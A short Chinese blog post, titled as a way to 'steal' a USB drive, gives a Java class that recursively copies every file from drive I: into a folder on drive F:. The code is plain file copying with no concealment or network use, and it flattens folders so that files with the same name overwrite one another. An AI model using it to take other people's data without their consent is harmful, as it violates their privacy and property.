1. 程式人生 > >java偷u盤(把u盤中的資料挪到自己的盤上)

java偷u盤(把u盤中的資料挪到自己的盤上)

public class Demo10 {
    public static void Copy(File path) throws IOException {
        //目標複製的地方
      File des=new File("f:\\U");
        File[] fi=path.listFiles();
        if(null!=fi)
        {
            for(File temp:fi)
            {
                if(temp.isDirectory())
                {
                    Copy(temp);
                }
                else
                {
                    FileOutputStream fos=new FileOutputStream(new File(des,temp.getName()));
                    FileInputStream fis=new FileInputStream(temp);
                    byte[] buffer=new byte[1024];
                    int len=-1;
                    while((len=fis.read(buffer))>0) {
                        fos.write(buffer, 0, len);
                    }
                    fos.close();
                    fis.close();
                }
            }
        }
        else
        {
            System.out.println("沒有找到檔案");
        }
    }
    public static void main(String[] args) throws IOException {
        File f=new File("I:\\");
        Copy(f);
    }
}